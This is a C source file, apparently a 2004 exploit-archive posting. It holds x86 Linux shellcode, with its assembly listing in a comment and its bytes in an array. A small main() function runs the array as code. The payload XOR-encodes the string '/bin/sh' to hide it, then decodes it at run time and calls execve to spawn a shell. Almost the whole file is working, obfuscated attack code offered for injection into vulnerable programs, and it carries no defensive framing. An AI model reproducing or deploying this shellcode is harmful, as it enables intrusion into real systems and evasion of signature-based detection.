/*
.file "xor-encrypted shellcode"
.version "1.0"
.text
.align 4
.globl main
.type main,@function
_start:
xorl %eax,%eax
jmp 0x22
popl %ebx
movl 8(%ebx),%edx
xor %edx,(%ebx)
xor %edx,4(%ebx)
xor %edx,%edx
movl %ebx,0x8(%esp)
movl %edx,0xc(%esp)
movb $0xb,%al
leal 0x8(%esp),%ecx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
incl %eax
int $0x80
call -0x27
.string "\x6e\x23\x28\x2f\x6e\x32\x29\x41\x41\x41\x41\x41"
*/
#define NAME "encrypted"
char code[]=
"\x31\xc0\xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89"
"\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff"
"\x6e\x23\x28\x2f\x6e\x32\x29\x41" /* encrypted "/bin/sh" */
"\x41\x41\x41\x41"; /* Conversion chars */
main()
{
int (*funct)();
funct = (int (*)()) code;
printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
(int)(*funct)();
}
// milw0rm.com [2004-09-12]